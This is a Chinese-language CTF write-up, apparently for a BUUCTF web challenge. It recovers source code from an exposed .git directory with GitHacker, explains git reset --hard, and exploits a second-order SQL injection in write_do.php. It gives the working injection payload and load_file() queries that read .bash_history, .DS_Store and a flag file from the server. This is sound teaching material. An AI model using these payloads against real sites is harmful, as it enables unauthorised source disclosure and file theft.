知识点: 1.修复git源码git reset --hard 传入指定的哈希值后,Git 会在底层同时修改三个区域 的状态:
HEAD 指针⟶暂存区 (Index)⟶工作区 (Working Directory)
底层操作链:
移动指针 :将当前分支(master)和 HEAD 指针强行移动到 bfbdf218902476c5c6164beedd8d2fcf593ea23b 这个 Commit 对象上。
重置暂存区 (Index) :清空当前的暂存区,将该 Commit 对象中记录的 Tree 对象(目录树快照)内容写入暂存区。
覆盖工作区 (Working Directory) :(关键) Git 检查你当前操作系统下的物理磁盘文件夹(即 D:\official\githacker\...),删除不属于该版本的所有文件,并根据 Tree 对象中的 Blob(文件内容)在磁盘中真实解压并还原出所有的 PHP 源码文件 。
题目: 发帖点击后提示要登陆,密码后缀是666,登录即可
思路: 源代码有提示,要去找找原来的git log,开发者做了些修改
所以是git泄露,用githack好像不行,这里参考别人题解下载工具了githacker
1 PS D:\official\githacker\GitHacker> python -m githacker.__main__ --url http://8a6ac8c6-0c43-4c4d-9282-689ac3d2754d.node5.buuoj.cn:81/.git --output-folder ./result
打开下载到的文件夹,源码修复,找找看开发人员最后做了什么
1 2 3 4 5 6 git log 查看本地引用变更记录 -> 在 Git 仓库中,每一次代码提交(Commit)都会生成一个唯一的 Commit 对象,存储在 .git/objects/ 目录下。 当你执行 git log 时,Git 会从当前分支的 HEAD 指针开始,沿着父节点指针(Parent Pointer)逆向遍历提交历史 git reset --hard 对应文件名
1 2 3 4 5 6 7 8 9 10 11 12 (base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git log --relog fatal: unrecognized argument: --relog (base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git log commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master, origin/master, origin/HEAD) Author: root <root@localhost.localdomain> Date: Sat Aug 11 22:47:29 2018 +0800 add write_do.php (base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a> git reset --hard bfbdf218902476c5c6164beedd8d2fcf593ea23b HEAD is now at bfbdf21 add write_do.php (base) PS D:\official\githacker\GitHacker\result\f47ea4c3d41b6732170bc965c008fd9a>
分析:
1 2 3 4 5 bfbdf2189...:这是该 Commit 对象的 SHA-1 哈希值(40位十六进制字符)。它是该版本代码在 Git 数据库中的唯一索引/键名。 (HEAD -> master, origin/master):表示本地的 master 分支指针、远程跟踪分支指针以及当前的 HEAD(当前工作区指针)目前都指向这个哈希值。 add write_do.php:这是开发者提交时输入的 Commit Message(提交日志说明),提示该版本新增了 write_do.php 文件。
查看write_do.php内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
sql注入部分
1 2 3 4 5 6 $category = mysql_fetch_array($result)['category']; // 1. 从数据库取出旧数据 $content = addslashes($_POST['content']); // 2. 对新输入的 content 进行转义 $sql = "insert into comment set category = '$category', // 3. 漏洞点:从数据库取出的 category 没有经过任何转义! content = '$content', bo_id = '$bo_id'";
1.addslashes() :对输入字符串中的某些预定义字符前添加反斜杠,这样处理是为了数据库查询语句等的需要。这些预定义字符是:单引号 (‘) ,双引号 (“) ,反斜杠 () ,NULL。
留言展示需要select从数据提取bo_id相应的category,这时候取出来的category并没有经过addslashes()转义
1 $sql = "select category from board where id='$bo_id'";
构造payload: 原始语句:
1 insert into comment set category = '$category', content = '$content', bo_id = '1'
我们的目标注入
1 2 3 4 5 6 7 insert into comment set category = '1', -- 正常设置 category 为 '1' content = database(), -- 重点!这里执行了恶意函数 database(),并把它赋值给了 content 字段! /*', -- /* 开始了多行注释,把后面的内容全部变成注释 content = '*/ -- */ 结束了多行注释 #', -- # 是单行注释,把最后剩下的单引号和 bo_id 废弃掉 bo_id = '1'
我们只需要在发帖的时候在category字段进行sql注入
令category=1',content=database(),/*,
发送成功后,在留言的地方输入的content用于闭合
1 2 insert into comment set category = '1',content=database(), /*', content = '*/#', bo_id = '1' insert into comment set category = '1',content=database(),/*', content = '*/#', bo_id = '1'
得到数据库名ctf
1 2 3 4 5 select load_file('/home/www/.bash_history') select load_file('/tmp/html/.DS_Store') select hex(load_file('/tmp/html/.DS_Store') 找到了flag文件,继续查询 select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))
解码即可